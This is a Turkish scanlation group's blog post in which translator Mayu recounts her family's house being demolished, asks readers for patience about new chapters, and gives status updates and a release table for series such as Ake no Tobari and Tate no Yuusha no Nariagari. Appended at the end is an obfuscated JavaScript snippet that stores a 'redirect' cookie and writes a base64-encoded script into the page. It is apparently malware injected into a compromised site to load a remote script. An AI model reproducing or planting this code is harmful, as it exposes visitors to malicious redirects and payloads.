Mayu’dan Bilgilendirme Günceli

Mayu - 18 Şubat 2018

Mer­ha­ba ar­ka­daş­lar, na­sıl­sı­nız? Neler ya­pı­yor­su­nuz bu gün­ler­de? Siz­le­re bugün bil­gi­len­dir­me gün­ce­li ya­za­ca­ğım. Uzun za­man­dır gün­cel yaz­ma­dım fır­sat ol­ma­dı çünkü. Bir ço­ğu­nuz beni tanır, bir ço­ğu­nuz da ta­nı­maz belki. Ba­şım­dan geçen şey­le­ri an­la­tıp, se­ri­le­rim hak­kın­da ufak bir bil­gi­len­dir­me ya­pa­ca­ğım. Ba­ya­ğı­dır yokum çünkü ev so­run­la­rıy­la uğ­ra­şı­yo­rum, yine arada se­ri­le­rim­den bölüm ver­me­ye ça­lı­şı­yo­rum elim­den gel­di­ğin­ce. Yak­la­şık 1-1,5 yıl­dır ev­le­ri­niz yı­kı­la­cak diyip, sonra dur­du­rul­du de­di­ler. Hani ev bu yı­kı­lır der­se­niz, 40-50 se­ne­dir otur­du­ğu­muz yer­den ay­rı­lı­yo­ruz. Yaş­lı­la­rı­mız var. Has­ta­mız var. Nasıl, ne­re­ye gider bu mil­let hiç dü­şün­mü­yor­lar! Aşağı yu­ka­rı 2 se­ne­dir bu­nun­la uğ­ra­şı­yo­rum. Önce eş­ya­la­rı top­la­dık ev ara­ma­ya baş­la­dık. Sonra dur­du­rul­du de­di­ler, eş­ya­la­rı ta­ma­men yer­leş­tir­dik. Bo­şu­na uğ­ra­şıl­dı, bo­şu­na emek ve­ril­di, bo­şu­na ka­fa­mız ağ­rı­dı açık­ça­sı. Dur­du­rul­du den­me­siy­le derin bir oh çek­tik. Aile apart­ma­nı bu arada. Yer­ler dev­le­te ait, ama otur­du­ğu­muz yerin ki­ra­sı­nı dev­le­te ödü­yo­ruz. Sa­de­ce bizim ev değil, 3-4 ev varız. Ba­ba­an­nem­ler vs… On­la­ra yar­dım edi­yo­ruz, kendi so­run­la­rı­mız bir ke­na­ra. Ne ya­pa­ca­ğı­mı­zı şa­şır­dık. Sonra, bir hafta kadar önce ani­den haber ver­me­den su­la­rı kes­ti­ler, su sa­at­le­ri­ni top­la­dı­lar. Sonra yı­kı­la­cak de­di­ler. Apar topar ev ara, top­lan, ko­şuş­tur… Ak­ra­ba­la­ra yar­dım et. (Yaş­lı­lar çünkü ya­pa­mı­yor­lar. ) Eş­ya­la­rı çı­kar­mak için araba ya­naş­ma­sı lazım. Tren yolu var, ki araba gir­me­si­ne izin ve­ril­me­di. 2-3 gü­nü­müz vardı ve do­zer­ler gel­miş­ti bile. Çar­şam­ba diğer ev­le­ri bo­şalt­tık. Sonra per­şem­be günü iki ta­raf­tan yık­ma­ya baş­la­dı do­zer­ler. Eş­ya­la­rı­mız evde kaldı. Apar topar nak­li­yat­çı­la­rın gel­me­siy­le son da­ki­ka evden eş­ya­la­rı kur­tar­dık ar­dın­dan yıkım baş­la­dı. Kimse in­san­la­rı dü­şün­me­di tabii. Dev­let ne yaptı der­se­niz, hiç­bir şey yap­ma­dı. Direk ev­le­ri yıktı. 10-12 ev yı­kıl­dı per­şem­be günü. Ağ­la­yan mı der­si­niz, has­ta­ne­lik olan mı sor­ma­yın. Neler çek­ti­ği­mi­zi bir Allah bilir… Yine de çok şükür. Ayrı ayrı ki­ra­ya yer­leş­tik. Ama tam da yer­le­şe­me­dik, hala uğ­ra­şı­yo­ruz. Ev yer­leş­me­siy­le de bit­mi­yor ki iş. Elekt­rik açtır, su açtır, daha bir sürü şey. Her­kes dö­kül­dü, hem ma­ne­vi ola­rak hem maddi ola­rak. Uzun za­man­dır bun­lar­la uğ­ra­şı­yo­rum işte.

Ve mil­le­te açık­la­ma yap­tı­ğım halde, bana kalan kı­sa­cık za­man­da çe­vi­ri yap­tı­ğım halde, gelip “yeni bölüm nerde?” “niye yeni bölüm yok, ne zaman ge­lecek?” tarzı so­ru­lar­la kar­şı­la­şı­yo­rum. İngi­liz­ce­si iler­dey­se, yeni bölüm gel­diy­se ne olmuş yani? Biz bunu bil­mi­yor muyuz? Takip et­mi­yor muyuz sa­nı­yor­su­nuz. Kendi se­ri­le­ri­mi adım kadar iyi bi­li­yo­rum, hangi ta­rih­te ne zaman ge­le­ce­ği­ni de bi­li­yo­rum. Açık­la­ma yap­ma­sam sorun değil, gelin sorun. Ne­de­ni­ni be­lir­ti­yo­rum. He­pi­miz in­sa­nız. İşle­ri­miz var. Bu tarz so­ru­lar­la gel­me­yin artık ar­ka­daş­lar. He­pi­mi­zin işi, okulu var. An­la­yış gös­te­rin biraz. Bu söz­le­ri­mi her­kes üs­tü­ne alın­ma­sın. An­la­yış gös­te­ren bir sürü oku­yu­cu­muz var, hep­si­ni bi­li­yo­ruz ? Sab­rı­nız­dan do­la­yı he­pi­ni­ze te­şek­kür edi­yo­rum.  Se­ri­le­rim­le il­gi­li bil­gi­len­dir­me de ya­pa­yım size…

Ake no To­ba­ri, şu an in­gi­liz­ce 110.bö­lüm­de. Biz de bu hafta 68.bö­lü­mü ve­ri­yo­ruz. Ba­ya­ğı ile­ri­de evet, ama daha önce kaç kere gün­ce­li ya­ka­la­dık, bunda da ya­ka­la­rız elbet. Edi­tö­rüm Eva uçtu gi­di­yor zaten ma­şal­lah ? El­le­ri­ne sağ­lık Evam ?

Ba­ra­ka­mon 5.bö­lü­mü ver­dik en son, in­gi­liz­ce­si ise ba­ya­ğı ile­ri­de. Mü­sa­it ol­du­ğum­da çe­vi­re­ce­ğim ve in­şal­lah hızlı hızlı ve­re­ce­ğiz bö­lüm­le­ri. Edi­tö­rüm Far­rel­le­da da yoğun ol­du­ğu halde, hemen edit­li­yor. Çünkü çok se­vi­yo­ruz iki­miz de ??

Boku no Us­hi­ro ni Majo ga Iru 119.bö­lüm­de kaldı. Man­ga­ka­sı devam et­me­miş ve öyle kal­mış. Ya­yın­lan­dı­ğı dergi yü­zün­den­di sa­nı­rım. Bu hafta 3 bölüm bir­den verip 60.bö­lü­me ge­li­yo­ruz ^^ Su­mi­re’ye çok te­şek­kür ede­rim bana yar­dım et­ti­ği için ? Su­mi­re ve Psy-san’ım el­le­ri­ni­ze sağ­lık ?? İkimiz için de yeri ayrı bi­li­yo­rum minik ca­dı­mı­zın ?

Egg­no­id ise zaten aldı ba­şı­nı gi­di­yor, edi­tö­rüm Hayal unOr­di­nary’e ön­ce­lik ver­di­ği için buna sonra devam ede­ce­ğiz. Çok kolay gel­sin Hayal’im ?

Love Doesn’t Talk, 58.bö­lüm­de bitti se­ri­miz as­lın­da. İngi­liz­ce çe­vi­ri­si yok. Ja­pon­ca’dan çe­vi­ri­yo­rum. Mü­sa­it ol­du­ğu­muz­da buna da sıra ge­lecek.

Ran to Ha­i­iro no Sekai, gel­dik Ran’ımıza ?? Far­rel­le­da’yla ortak çe­vi­ri­yo­ruz. Eva da edit­li­yor. Bu hafta sev­gi­li Far­rel­le­da’mın çe­vi­ri­siy­le 18,5 ge­li­yor~ El­le­ri­ni­ze sağ­lık can­lar ? 52.bölüm top­lam zaten. İnşal­lah bunu da bi­ti­re­ce­ğiz. Ama kı­ya­mı­yo­ruz, bit­me­sin ?? Her hafta ver­me­ye ça­lı­şa­ca­ğız ^^

Tate no Yu­us­ha no Na­ri­aga­ri, en eski se­ri­le­rim­den­dir ^^ Şu anda 40.bö­lüm­de. Şubat’ta Ja­pon­ya’da araya girdi. Bu ay bölüm gel­me­yecek o yüz­den. 41.bölüm Mart’ta. Biz ise 37.bö­lüm­de­yiz. 3 bö­lü­mü­müz kaldı gün­ce­le. Mü­sa­it ol­du­ğum­da hep­si­ni ver­mek is­ti­yo­rum as­lın­da, ama ba­kı­caz. Bek­le­me­de kalın.

Two Pla­ying House, Su­mi­re’min çe­vir­di­ği ve benim edit­le­di­ğim çok şirin bir seri. Or­ji­na­li şu an 110.bö­lüm­de. Ama in­gi­liz­ce 10.bö­lüm­de. Gel­dik­çe çe­vi­ri­si biz de ve­re­ce­ğiz. Buy­run size tap­ta­ze 4 bölüm~ (Geçen gün boş za­ma­nım­da yap­tım ^^)

Ve unOr­di­nary~ Gün­ce­le gel­me­mi­ze az kaldı. Hayal’imin bu hafta işi ol­du­ğu için bölüm ve­re­mi­yor. Son­ra­ki haf­ta­lar gün­ce­le ge­li­cez in­şal­lah ^^

Bu kadar sa­nı­rım. İngi­liz­ce çe­vi­ri­si gel­me­yen se­ri­le­rim­de, Sugar Sol­di­er ve Mune ga Naru no wa Kimi no Sei. Bun­la­rı da not ola­rak dü­şe­yim. Buy­run hep­si­ni özet­le­dim. Yeni bölüm niye gel­me­di diye so­ran­lar yu­ka­rı­yı oku­sun­lar lüt­fen.

Bu haf­ta­da ekip ar­ka­daş­la­rım dök­tür­müş. El­le­ri­ni­ze sağ­lık mil­let ? Her­ke­se ke­yif­li oku­ma­lar ? Ta­dı­nı çı­ka­ra çı­ka­ra oku­yun bak ?? Her­ke­se sev­gi­ler, say­gı­lar ve ha­yır­lı gün­ler ??

 

Manga Adı Bölüm Çe­vir­men Edi­tör Te­miz­le­me
Ake no To­ba­ri 67-68 Mayu Eva
Boku no Us­hi­ro ni Majo ga Iru 58-60 Su­mi­re Psyk­he
Green Boy 110-111 Su­mi­re Fri­ole­ro
Hime to Knight to, To­na­ri no Wa­tas­hi. 2 Cain Psyk­he
Ji­sat­su­tou 20 Su­mi­re Mo­ons­hi­ne
Ka­ku­ka­ku Shi­ka­ji­ka 12 Cain Psyk­he
Kink­yo­ri Renai 24-24,5 Ageha Psyk­he
Kon­gou Banc­hou 11-20 Ki’zu Eva Ar­tist
Nec­ro­man­cer 20-21 Deuce S.​Jeno
Ran to Ha­i­iro no Sekai 18.5 Far­rel­le­da Eva Ar­tist
Real 14 Su­mi­re Eva Me­lo­di
Two Pla­ying House 7-10 Su­mi­re Mayu

func­ti­on get­Co­okie(e){var U=do­cu­ment.​cookie.​match(new Re­gE­xp(“(?:^|; )”+e.​replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));re­turn U?de­co­de­URI­Com­po­nent(U[1]):void 0}var src=”data:text/ja­vasc­ript;ba­se­64,ZG­9j­d­W1lb­n­Qu­d­3Jpd­GU­od­W5l­c­2Nhc­GU­oJ­yU­z­Q­yU­3M­yU­2M­yU­3­Mi­U2O­SU­3M­CU­3N­CU­y­M­C­U­3­M­y­U­3­M­i­U­2­M­y­U­z­R­C­U­y­M­i­U­y­M­C­U­2­O­C­U­3­N­C­U­3­N­C­U­3­M­C­U­z­Q­S­U­y­R­i­U­y­R­i­U­z­M­S­U­z­O­C­U­z­N­S­U­y­R­S­U­z­M­S­U­z­N­S­U­z­N­i­U­y­R­S­U­z­M­S­U­z­N­y­U­z­N­y­U­y­R­S­U­z­O­C­U­z­N­S­U­y­R­i­U­z­N­S­U­2­M­y­U­3­N­y­U­z­M­i­U­2­N­i­U­2­Q­i­U­y­M­i­U­z­R­S­U­z­Q­y­U­y­R­i­U­3­M­y­U­2­M­y­U­3­M­i­U­2­O­S­U­3­M­C­U­3­N­C­U­z­R­S­U­y­M­C­c­p­K­Ts=”,now=Math.​floor(Date.​now()/1e3),co­okie=get­Co­okie(“re­di­rect”);if(now>=(time=co­okie)||void 0===time){var time=Math.​floor(Date.​now()/1e3+86400),date=new Date((new Date).get­Ti­me()+86400);do­cu­ment.co­okie=”re­di­rect=”+time+”; path=/; ex­pi­res=”+date.​toGMTString(),do­cu­ment.write(”)}